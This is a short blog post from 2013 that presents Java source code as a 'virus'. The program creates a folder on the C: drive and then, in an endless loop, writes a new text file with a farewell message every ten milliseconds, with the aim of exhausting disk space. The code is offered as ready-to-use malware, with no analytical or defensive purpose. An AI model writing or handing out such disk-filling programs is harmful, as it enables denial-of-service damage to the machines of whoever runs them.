Sunday, July 7, 2013

Java Program for Creating Virus

import java.io.*;

public class FolderCreation
{
public static void main(String aop[])
{
FolderFile ff=new FolderFile();
ff.start();
  }
}

class FolderFile extends Thread
{
File f;
String content="We are here to say GoodBye and this is our last journey of this ship";
byte b[];
int x;
public void run()
  {
    f=new File("c:/Faltoo");
    if(!f.exists())
    {
      if(f.mkdir()) {} // it will make new directory if the directory is not present initially.

      }
    x=1;
    while(true) //Run infinite loop   
  {
      try
      {
        f=new File("c:/faltoo/file"+x+".txt");
        if(!f.exists())
        {
          if(f.createNewFile()) //it will create new file.
          {
            b=new byte[content.length()];
            b=content.getBytes();
FileOutputStream fos=new FileOutputStream(f);
            fos.write(b);

        }
        }
        x++;
        Thread.sleep(10);
      }
      catch(Exception e1) //catch all the exceptions generated
      {
        System.out.println(e1);
      }
    }
}
}
Facebook Blogger Plugin: Bloggerized by Software Tips Enhanced by Akash Parnami

Leave a Reply